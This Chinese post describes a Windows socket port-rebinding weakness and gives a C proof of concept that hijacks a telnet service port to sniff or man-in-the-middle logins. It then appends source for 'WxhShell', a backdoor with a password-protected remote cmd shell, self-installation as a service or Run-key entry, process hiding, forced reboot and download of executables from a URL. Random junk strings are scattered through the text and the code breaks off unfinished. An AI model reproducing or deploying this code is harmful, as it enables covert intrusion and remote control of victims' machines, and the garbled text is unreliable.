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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x bsk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vh1R!>XY l[G&=/R@H saddr.sin_family = AF_INET; *G6Py,- !f :7&-<ae2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); xlW`4\ Pa fC \Cx;q- bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^)| !nd :nYnTo` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^^O @ [_ sFvu@Wm'7W 这意味着什么?意味着可以进行如下的攻击: ]rpU3 3 3/j^Ao\fw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #2XX [d% 8H%-/2NW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6w )mo)<X 42Qfv%*c 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =F B[<% rQuozbBb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 2%|0c\y|z= u@ "nVHgMJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 z;#DX15Rj 9HtzBS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 O@Ro_sPG( C'_^DPzj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '#;%=+=; .:`+4n #include " 0:&x
n8L #include h^)R}jy+f #include E6=JL$" #include G[pDKELL DWORD WINAPI ClientThread(LPVOID lpParam); =}$YZuzmU int main() w,,QXJe{Z_ { ;`{PA
!> WORD wVersionRequested; ? 0}M'L DWORD ret; QO-R> WSADATA wsaData; iK(G t6w BOOL val; dv_& ei SOCKADDR_IN saddr; QXQ'QEG SOCKADDR_IN scaddr; HkP')= sa int err; sp2"c"_+ SOCKET s; o`]o(OP SOCKET sc; :cvZk|b% int caddsize; ^hc&rD)_ HANDLE mt; %y{f]m DWORD tid; wa#$9p~Q wVersionRequested = MAKEWORD( 2, 2 ); Q?Y\WD err = WSAStartup( wVersionRequested, &wsaData ); &yQilyU{V if ( err != 0 ) { 5Oa`1?C1 printf("error!WSAStartup failed!\n"); zm&D#) return -1; j/oM^IY } uA'S8b%C saddr.sin_family = AF_INET; DR d|m<Z $s*nh>@7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3!&PI d~G, * saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'V*ixK8R0 saddr.sin_port = htons(23); z vM=k-Ec if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TjUg8k { <~%e{F:[# printf("error!socket failed!\n"); S,=#b
4\#% return -1; g}cb>'=={ } FnoE\2}9 val = TRUE; ??'>kQ4 //SO_REUSEADDR选项就是可以实现端口重绑定的 H}Jdnu| ko if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n!Ic.T3PA { _F2R
x@Y printf("error!setsockopt failed!\n"); CQ4MQ<BJ. return -1; #><P28m } p)dD{+"/2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gr&)5hm$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oPqWL9] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $$,/F lBYc(cr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) IbC8DDTD { tK|jh ret=GetLastError(); 3ih3O printf("error!bind failed!\n"); L"_l(<g return -1; 3pV^Oe^9 } _$Wj1h listen(s,2); ^57G]$Q while(1) U= Gw( { _3pME9l caddsize = sizeof(scaddr); rryC^Vma //接受连接请求 fMRv:kNAt sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <{z*6FM!' if(sc!=INVALID_SOCKET) 'l&),]|$) { vC#
*w, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oB$P6 if(mt==NULL) aw3 oG?3I { Y`U[Y Hx printf("Thread Creat Failed!\n"); wa)E.(x break; dYEsSFB m } 0m,3''Q5lO } A#&,S4Wi| CloseHandle(mt); LdPA`oI3j } , sOdc!![ closesocket(s); # },4m WSACleanup(); mBQp#-1\ return 0; S5,y!K]C~ } \i2S'AblYq DWORD WINAPI ClientThread(LPVOID lpParam) q#6K'=AC { ri]"a?Rm SOCKET ss = (SOCKET)lpParam; JM&:dzyIP SOCKET sc; Z
ZMz0^V unsigned char buf[4096]; H2cY}, SOCKADDR_IN saddr; ZQVr]/W^r long num; ){sn!5= DWORD val; bMrR DWORD ret; ]bui"-tlK //如果是隐藏端口应用的话,可以在此处加一些判断 pSPVY2qKX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 nXg:lCI-uu saddr.sin_family = AF_INET; |E(`9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v)!C
Dpw saddr.sin_port = htons(23); 9iwSE(}, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2H]~X9,z2 { m,qMRcDF printf("error!socket failed!\n"); ,~TV/l< return -1; 1c2zFBl.& } $ lC*q val = 100; /&eF,4 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mjI
$z3 { "A>/m"c]* ret = GetLastError(); 9?6]Zag return -1; kzb%=EI } B.T|e,g26 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ITmW/Im5 { Vlka+$4! ret = GetLastError(); o=}vK[0u return -1; rmq^P;At } M#5*gWfq9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q' { Ia'm9Z* printf("error!socket connect failed!\n"); g3h:oQCS closesocket(sc); WNa#X]*E) closesocket(ss); (UGmbRf& return -1; 8K;wX%_, } JKMcdD?' while(1) fN-y8 { t)62_nu //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J=OWXL!<a //如果是嗅探内容的话,可以再此处进行内容分析和记录 qbunP! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C>0='@LB@r num = recv(ss,buf,4096,0); *qN(_ if(num>0) *
SHQ[L4{ send(sc,buf,num,0); 4hLv"R. else if(num==0) WokQ
X" break; efnj5|JSV num = recv(sc,buf,4096,0); g0&Rl if(num>0) 1oVjx_I5y send(ss,buf,num,0); ,iYKtS3 else if(num==0) OpT0V]k^"9 break; 2TZ+R7B? } RO9oO7S closesocket(ss); Jemb0Qv closesocket(sc); OD~TWT_ return 0 ; 1 xu2$x.b } ,TdL-a5 I8]q~Q<-P ;^cc-bLvF ========================================================== HbUadPr ,VTX7vaH 下边附上一个代码,,WXhSHELL (!iGQj(m N:yyDeGyW ========================================================== "v9i;Ba>+ Pqc+p E #include "stdafx.h" |vLlEN/S {+.ai8 #include <stdio.h> O:>9yZhV #include <string.h> {k#RWDespy #include <windows.h> U}]uPvu #include <winsock2.h> ?4&C)[^ #include <winsvc.h> e52y}'L #include <urlmon.h> 4CdST3 $!-a)U,w$B #pragma comment (lib, "Ws2_32.lib") wzka4J { #pragma comment (lib, "urlmon.lib") *G,'V,? ;&9A
Yh. #define MAX_USER 100 // 最大客户端连接数 A`
iZ"? #define BUF_SOCK 200 // sock buffer w&E*{{otJ #define KEY_BUFF 255 // 输入 buffer
?V>\9?zb WV8?zB1 #define REBOOT 0 // 重启 B2uLfi$q #define SHUTDOWN 1 // 关机 6x_tX g^qbd$ } #define DEF_PORT 5000 // 监听端口 ]F]!>dKA 1D pRm( #define REG_LEN 16 // 注册表键长度 ZvS|a~jO #define SVC_LEN 80 // NT服务名长度 k\J 6WT nU6WT | // 从dll定义API ^:yg,cS|Be typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 51\N+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3X,SCG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^z^ UFW typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r,` 5 9 ZMVQo-= // wxhshell配置信息 H:DTvv8e{ struct WSCFG { o5 fXe}pl@ int ws_port; // 监听端口 KP[H&4eoC char ws_passstr[REG_LEN]; // 口令 hjgxCSp int ws_autoins; // 安装标记, 1=yes 0=no Fk 5; char ws_regname[REG_LEN]; // 注册表键名 vX'@we7Q{ char ws_svcname[REG_LEN]; // 服务名 #78P_{#! char ws_svcdisp[SVC_LEN]; // 服务显示名 xTJ-v/t3< char ws_svcdesc[SVC_LEN]; // 服务描述信息 G}lP'9/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LcA~ a<_ int ws_downexe; // 下载执行标记, 1=yes 0=no =>0+BD char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ly{Q>MBM char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8-wW?YTG ?rD`'B }; PKx ewd ~4Gs\U:!Q // default Wxhshell configuration :jFKTG
struct WSCFG wscfg={DEF_PORT, ~[mAv#d&i "xuhuanlingzhe", wlh V!a0> 1, .o2]ndT/J "Wxhshell", ]vPa
A "Wxhshell", 4RH'GnLa "WxhShell Service", CFW\ "Wrsky Windows CmdShell Service", 9 pGND]tIi "Please Input Your Password: ", sh6F-g 1, 6PS #Zydb " http://www.wrsky.com/wxhshell.exe", ^Fl6-|^~ "Wxhshell.exe" 1D0_k }; J#0oL_xY# 0RLyAC| // 消息定义模块 Dm=Em-ST6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5PJB<M_m: char *msg_ws_prompt="\n\r? for help\n\r#>"; Z(S=2r. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; +q==Y/z char *msg_ws_ext="\n\rExit."; r3@Q(Rb char *msg_ws_end="\n\rQuit."; PC| U] char *msg_ws_boot="\n\rReboot..."; J{gqm char *msg_ws_poff="\n\rShutdown..."; m\h/D7zg char *msg_ws_down="\n\rSave to "; 0.}Um 1`tE Hu. char *msg_ws_err="\n\rErr!"; uhuwQS=X char *msg_ws_ok="\n\rOK!"; >A$J5B>d x9#>0
4s char ExeFile[MAX_PATH]; 959i2z int nUser = 0; mGjxc} HANDLE handles[MAX_USER]; O?8^I< int OsIsNt; uA?_\z? |5wuYG SERVICE_STATUS serviceStatus; web=AQ5I4 SERVICE_STATUS_HANDLE hServiceStatusHandle; JTw'ecFev !@ml^&hP // 函数声明 L%8>deE>;D int Install(void); `eIX*R int Uninstall(void); 8@)/a int DownloadFile(char *sURL, SOCKET wsh); 7@MGs2 int Boot(int flag); 2&E1) ^ void HideProc(void); um@RaU int GetOsVer(void); Mj&f7IUO int Wxhshell(SOCKET wsl); 8k$iz@e void TalkWithClient(void *cs); }N_9&I int CmdShell(SOCKET sock); wSp1ChS k int StartFromService(void); D?rQQxb int StartWxhshell(LPSTR lpCmdLine); p6(n\eg R ex8mA6g VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {m9OgR5U VOID WINAPI NTServiceHandler( DWORD fdwControl ); }Po&6^ Eb`U^*A // 数据结构和表定义
;p"G<n SERVICE_TABLE_ENTRY DispatchTable[] = hq.z:D { ZpPm>|w {wscfg.ws_svcname, NTServiceMain}, im^G{3z {NULL, NULL} --0z"`@{ }; ]Au78Yom o<e AZ // 自我安装 M:OY8=V int Install(void) w\pD'1e { cpB$b C]( char svExeFile[MAX_PATH]; or/Y"\-! HKEY key; `LL#Ai a strcpy(svExeFile,ExeFile); 9rX[z : @`U78)] // 如果是win9x系统,修改注册表设为自启动 w
.l2 if(!OsIsNt) { t#kR@t+6$\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >?yaG= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {4&G\2<^^ RegCloseKey(key); qFmvc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z>Nr"7k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z2og&|uT RegCloseKey(key); F#@Mf?#2
return 0; (F_Wys=6 } )Y@ } _s!(9 } 8ON$M=Ze$ else { +Ij>\;vM" ,U2
/J // 如果是NT以上系统,安装为系统服务 nH*U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RX:\@c& if (schSCManager!=0) Ul OoMGg { =PyU9C-@ SC_HANDLE schService = CreateService }:YS$'by ( {<&I4V@+ schSCManager, ="3Hc=1?R wscfg.ws_svcname, Yd lXMddE wscfg.ws_svcdisp, nCEt*~t9VE SERVICE_ALL_ACCESS, 13s!gwE) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Uf{cUY,j_ SERVICE_AUTO_START, :*#AJV) SERVICE_ERROR_NORMAL, Y1txI svExeFile, WA~|:S+ NULL, X!,P] G NULL, 7Q} P}9n NULL, w``t"v4 NULL, p+#J;. NULL or\
2) ); &fq-U5zH if (schService!=0) n NZq`M { p0? XR CloseServiceHandle(schService); !NK8_p|X CloseServiceHandle(schSCManager); =(K;z9OR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }8GCOY strcat(svExeFile,wscfg.ws_svcname); e2UbeP if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,\4@Ao RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #Qc[W +% RegCloseKey(key); %FLz}QW* return 0; %Y:'5\^lC } UL$^zR3%d } I,QJ/sI CloseServiceHandle(schSCManager); `Z>4}<~+ } /!oi`8D } }k7@
X ;2@MPx return 1; .?CDWbzq } T/MbEqAf ]IXKoJUf // 自我卸载 /cexd_l|f int Uninstall(void) k# ZO4 { V/$qD HKEY key; A5z`_b4f E {4/$} if(!OsIsNt) { G9:[W"P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *bDuRr?v9 RegDeleteValue(key,wscfg.ws_regname); \=v7'Hp RegCloseKey(key); KR%p*Nh+C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v$p<6^kJ RegDeleteValue(key,wscfg.ws_regname); &9, 6<bToP RegCloseKey(key); F=Z|Ji# return 0; rr'RX } O1Ey{2Q } >e($T!}Z } '{QbjG%<P else { }N:0%Gk[; *J=`"^BO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {tk42}8k if (schSCManager!=0) r^n%PH< { UMpC2)5 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XWo:~\ if (schService!=0) "639oB { ox{)O/aj if(DeleteService(schService)!=0) { 'D-eFJ5 CloseServiceHandle(schService); @ T'!;) CloseServiceHandle(schSCManager); =<y$5"| return 0; lV]hjt-L
2 } D0v!fF~ CloseServiceHandle(schService); :-xp'_\L } L:IaJ?+? CloseServiceHandle(schSCManager); m!er"0 } vK!,vKa. } R4 ;^R MM3X!
tq return 1; ':R)i.TS } ,6~c0]/ |+mhYq|` // 从指定url下载文件 ;}#tm9S; int DownloadFile(char *sURL, SOCKET wsh) Mou>|U1e" { *Tl"~)'t~ HRESULT hr; yP :>vFd7 char seps[]= "/"; |F-_YR char *token; BLgmFE2 char *file; lfOF]Kiqr char myURL[MAX_PATH]; o )GNV char myFILE[MAX_PATH]; Yn+/yz5k_ 'C]zB'H= strcpy(myURL,sURL); {oy(08`6 token=strtok(myURL,seps); 0\qbJ while(token!=NULL) _:x/\8P { y)t< r file=token; Q%o ]&Hdn token=strtok(NULL,seps); Vz1ro } ;E l"dqH YC - -&66 GetCurrentDirectory(MAX_PATH,myFILE); HTao)`. strcat(myFILE, "\\"); !`hiXDk*2 strcat(myFILE, file); 5JK{dis]k send(wsh,myFILE,strlen(myFILE),0); afqLTWUS send(wsh,"...",3,0); 12gcma} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x/{ if(hr==S_OK) \om$%FUP return 0; {xi$'r else 0R\lm<& return 1; n7i;^=9mM uhSRl~tn } [?r`8K2!, )TnxsFC // 系统电源模块 Ytm t+9 int Boot(int flag) 9n]zh- { |lm HANDLE hToken; U 3aY =8B TOKEN_PRIVILEGES tkp; +v2Fr} DDq*#;dP if(OsIsNt) { mk~&>\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *.K+"WS% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *>h"}e41 tkp.PrivilegeCount = 1; $`(}ygmP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |G&<@8O AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x* *]@v"g if(flag==REBOOT) { R(@B4M2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FUkO$jnO return 0; 6Db1mvSe } @(Wx(3JR?} else { ?M.n 9|}y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `*mctjSN return 0; w&jyijk( } k"Y9Kc0XoU } XrS. [ else { !4\`g? if(flag==REBOOT) { mRZC98$ @r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) + ObP[F return 0; 8u
Tq0d6( } /k qW else { Tjma'3H*T0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e`
Z;}&
, return 0; x9k(mn%, } J@PwN^` } _U( b )8VrGg? return 1; 6Qnerd%Ec } o%XAw nAPSs]D // win9x进程隐藏模块 f2ygN6(> void HideProc(void) f4YcZyBGv { W+36"?*k3 smvIU0:K HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )#n0~7
& if ( hKernel != NULL ) Vp{! Ft8> { }tA77Cm)45 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (7^5jo[D ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ss6mN;&D FreeLibrary(hKernel); KI)jP(( } 7s@%LS C"}CD{<H]M return; \H|tc#::{ } #$7d1bx q}P< Ejq} // 获取操作系统版本 Gx/sJ( int GetOsVer(void) T9w;4XF { PDQC^2Z OSVERSIONINFO winfo; "#1KO1@G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2f>G GetVersionEx(&winfo); 2yZ/'}Mw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &XAG|
# return 1; #^%HJp^ else ?#~3%$> return 0; K"4m)B~@Y } P`r@<cgb= DP{kin"4I // 客户端句柄模块 /$
Gp<.z int Wxhshell(SOCKET wsl) Age { "Kky|(EQ$$ SOCKET wsh; A+Uil\% struct sockaddr_in client; !bs{/? DWORD myID; 4@ EY+p kS_oj while(nUser<MAX_USER) 8T"C] { Mbbgsy3W int nSize=sizeof(client); |dNJx<- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JxI\ss?O if(wsh==INVALID_SOCKET) return 1; @CGci lS= <[iw1> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,36AR|IO) if(handles[nUser]==0) Nl"Xl?y} closesocket(wsh); '"u>;Bq else V9aGo# nUser++; {Yq"%n'0 } pc9m,?n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Jv_KZDOdk BG ]w2= return 0; Dxp8^VL } j"G1D-S: %#5\^4$z|N // 关闭 socket (4:&tm/; void CloseIt(SOCKET wsh) /mS|Byx { )v\zaz closesocket(wsh); >fZ N?>` nUser--; i/Zv@GF ExitThread(0); !~sgFR8W } tc-pVw:TV bUv}({ // 客户端请求句柄 VycCuq&M void TalkWithClient(void *cs) 4Js2/s { RLy2d'DS FKYPkFB SOCKET wsh=(SOCKET)cs; 0)<\jo1 F char pwd[SVC_LEN]; 6t zUp/O char cmd[KEY_BUFF]; |l \! char chr[1]; ,<Ag&*YE4 int i,j; r'|V z*/h 1co;U while (nUser < MAX_USER) { [p& n]T 0`WjM2So if(wscfg.ws_passstr) { ]|H`?L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [N@t/^gRC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RN,5>.w //ZeroMemory(pwd,KEY_BUFF); V(gmC%6%l* i=0; :Xe,=M(l~ while(i<SVC_LEN) { U-~6<\Mf 2wCSjAWWh( // 设置超时 u& 4i=K'x8 fd_set FdRead; Z--A:D> struct timeval TimeOut; u"$=:GK FD_ZERO(&FdRead); T<o^f
n,H FD_SET(wsh,&FdRead); , 0hk)Vvr3 TimeOut.tv_sec=8; wOMrUWB0 TimeOut.tv_usec=0; dnwTD\), int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FRBW(vKE if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~nP~6Q'wSH +6zW(Ql/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DPWt=IFU pwd =chr[0]; ?IN'Dc9&%- if(chr[0]==0xd || chr[0]==0xa) { )7aUDsu>4 pwd=0; k^H&IS! break; k4C3SI*`4 } bHKTCPf i++; WX-J4ieL } U}yq*$N =~D QX\ // 如果是非法用户,关闭 socket 21T#NYfew if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gTM*td(~^ } _\2Ae\&c +GYO<N7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < NRnE8: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M1mx {<]A a 23XrX while(1) { 4\_~B{kzZ & FpoMW ZeroMemory(cmd,KEY_BUFF); cb3Q{.-.# '=WPi_Z5:C // 自动支持客户端 telnet标准 3|0wD:Dy j=0; 0X<U.Sxn while(j<KEY_BUFF) { o#Viz: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -u$U~?|` cmd[j]=chr[0]; TOb( if(chr[0]==0xa || chr[0]==0xd) { 'PqKb%B| cmd[j]=0; A"}Ib' break; D#k ~lEPub } !jTxMf
j++; U^;|as } u9*7Buou^ |V&E q>G // 下载文件 <~Oy3#{ if(strstr(cmd,"http://")) { 'Ul^V send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4c]=kb GW if(DownloadFile(cmd,wsh)) 8Q(A1U send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ve ipM else VvUP;o&/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^,p$D<T:, } j0~dJ# else { `uof\D<'] IcA]B?+ switch(cmd[0]) { iOB*K)U1 >H,5MM! // 帮助 ELZ@0, case '?': { W) ?s''WE; send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m2\[L/W] break; ) E*- } 2@Zw#2|] // 安装 717OzrF}A? case 'i': { #OwxxUeZ if(Install()) = G>Y9Sc send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\})H else 0O?\0k;o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u)[i'ceQZ: break; Fu>;hx]s } w$0*5n>) // 卸载 MP
p case 'r': { p+;;01Z+_ if(Uninstall()) $wcTUl send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Vo%}g?6! else a/n~#5- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -XfGF<}r break; (@NW2 } eB9F35[ // 显示 wxhshell 所在路径 w19OOD case 'p': { -Dwe,N"{2 char svExeFile[MAX_PATH]; YbF}>1/" strcpy(svExeFile,"\n\r"); n]8*yoge strcat(svExeFile,ExeFile); nT7]PhJ send(wsh,svExeFile,strlen(svExeFile),0); #V.u[:mO break; [W99}bi$ } L>pSE'} // 重启 em2Tet case 'b': { k- exqM2x= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X([@}ren if(Boot(REBOOT)) v8TNBsEL send(wsh,msg_ws_err,strlen(msg_ws_err),0); s
>k4G else { G+tzp&G@ closesocket(wsh); ]YY4{E(9d ExitThread(0); OI:T#uk5 } ,=2)1I] break; hVdGxT]6 } 4'.]-u // 关机 ?4t~z 1.f case 'd': { `(]mUW send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P0rdGf 5T if(Boot(SHUTDOWN)) G+WCE* send(wsh,msg_ws_err,strlen(msg_ws_err),0); lUiO | else { xR;z!Tg) closesocket(wsh); ie/QSte ExitThread(0); z'zC } a?)g>e
HN break; +B7UGI } Q;@w\_OR // 获取shell wKJK!P case 's': { #+^l3hMK CmdShell(wsh); G
}M! closesocket(wsh); V3_qqz}`r ExitThread(0); hP/uS%X break; }'\M}YM } #Z]<E6<=9 // 退出 fVq,? case 'x': { 7A send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mN#&NA CloseIt(wsh); hG3RZN#ejq break; lb]k"L%KU7 } efh 1-3f // 离开 obw:@i# case 'q': { *}LQZFrnX send(wsh,msg_ws_end,strlen(msg_ws_end),0); #|lVQ@= closesocket(wsh); bL5dCQxty WSACleanup(); 5a* Awv} exit(1); 6uFGq)4p@ break; * =O@D2g0 } 'eoI~*}3WQ } #elaz8 5 } bre6SP@ ^N~Jm&I // 提示信息 j MA%`*r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^9kdd[ } vaZ?>94 } wJF$<f7P ,qlFk|A| return; hpticW| } <JJi (yz8}L3 // shell模块句柄 3*b!]^d:D int CmdShell(SOCKET sock) PvdR)ZEm { LZu_-I STARTUPINFO si; ZP%Bu2xd ZeroMemory(&si,sizeof(si)); .LNqU#a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _d<\@Tkw si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0M>%1* PROCESS_INFORMATION ProcessInfo; ;:gx;'dm5 char cmdline[]="cmd"; Iyvl6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U0S}O(Ptr return 0; /t?(IcP5 } zphStiwIQ G,i%:my7 // 自身启动模式 x9CI>l int StartFromService(void) ihhnB { /7zy5 typedef struct l+ <x { 9/|i.2& DWORD ExitStatus; HM1y$ej DWORD PebBaseAddress; gf2w@CVF>= DWORD AffinityMask; =U".L DWORD BasePriority; rQ$A|GJ L ULONG UniqueProcessId; W.,J' ULONG InheritedFromUniqueProcessId; O"9f^y* } PROCESS_BASIC_INFORMATION; i&FC-{|Z 5cQBqH] PROCNTQSIP NtQueryInformationProcess; @w:sNXz- P-`^I`r static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |qNrj~n@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Y0bjS2J "WYcw\@U HANDLE hProcess; @]#+`pZ4A PROCESS_BASIC_INFORMATION pbi; uf)W?`e~ ?\F ,}e HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k*c:%vC! if(NULL == hInst ) return 0; J0p,P.G |:r/K g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KwQO,($,] g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mLY * 